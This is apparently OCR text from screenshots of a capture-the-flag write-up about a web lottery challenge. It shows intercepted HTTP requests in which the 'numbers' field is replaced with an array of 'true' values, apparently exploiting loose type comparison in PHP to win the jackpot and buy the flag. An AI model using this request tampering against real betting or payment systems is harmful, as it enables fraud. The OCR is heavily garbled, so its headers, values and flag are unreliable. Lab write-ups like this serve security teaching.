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Lottery! Home Buy Account Claim Your Prize

Buy a lottery!

People are winnina fabulous orizes every dav. You could win up to $5000000!
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Play to win!

Rules

® Each starter has $20

® Pay $2, and select 7 numbers. Comparing with the winning number:
® 2 same numbers: you win $5

® 3 same numbers: you win $20

® 4 same numbers: you win $300

® 5 same numbers: you win $1800

® 6 same numbers: you win $200000

® 7 same numbers: you win $5000000
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Lottery! Buy

Buy a lottery!
123567 | uy |

Prize: 0

Winning numbers:

Your numbers:
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Lottery! Claim Your Prize

Notice: You are offered a huge discount!
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Flag

$9990000

On Sale
buy the flag if you can

Buy
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Go Cancel

Request

Raw | Params | Headers | Hex

Target: http://111.198.29.45:35439 | || 7

Response

Raw | Headers | Hex

POST api.php HTTF/1.1

Host: 111.198.29.45:35439

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rvE69.0) Gecko/20100101
Firefox/69.0

Accept: applicationfson, text/javascript, * ¢g=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0 5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: applicationfjson

¥-Requested-With: XMLHttpRequest

Content-Length: 36

Connection: close

Referer: http://111.198.29.45:35439/buy. php

Cookie: PHPSESSID=f52020b{1a60aca%f30a1809a39a0ech

I

{"action";"buy" "numbers":"1234567")
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0 matches

@ B EJ EJ Type a search term

Done

HTTP/1.1 200 CK

Date: Tue, 15 Oct 2019 23:08:19 GMT

Server, Apache/2.4.25 (Debian)

¥-Powered-By: PHP/7.2.5

Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Control: no-stare, no-cache, must-revalidate
Fragma: no-cache

Content-Length: 80

Connection: close

Content-Type: application/json

I

{"status":"ok""numbers";"1234567" "win_numbers": "0485835" "money":16,"prize".0}
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0 matches

374 bytes | 102 millis
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ok. payloadiiF:

[true,true,tru

,true,true,true,true]"}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nE9.0) Gecko/20100101
Firefox/69.0

Accept: application/json, text/javascript, *™; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW, ¢=0.7 ,zh-HK, g=0.5 en-US; q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/json

H-Requested-With: XMLHttpRequest

Content-Length: £3

Connection: close

Referer: hitp://111.198.29.45:35439/buy. php

Cookie: PHPSESSID=f62020bf1 ab0acadf30a1609a39a0ecs

{"action":"buy","numbers":[true true true true true true ,true'}

XFELRE, 2 R JLIREELAT bR 5 Lflag gk T

Buy a lottery!

1234567

Buy!

Prize: 5000000

Winning numbers:

Your numbers:
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Server. Apache/2.4 25 (Debian)

¥-Powerad-By: PHP/7 2.5

Expires: Thu, 19 Moy 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: 116

Connection: close

Content-Type: applicationfjson

{"status":"ok" "numbers" [true true true true true true true],"win_numbers": "9046443" "money": 200014
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Here is your flag: cyberpeace{046c9e¢9b686b1f9583098435ef35f469}
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$9990000

On Sale
buy the flag if you can

Buy
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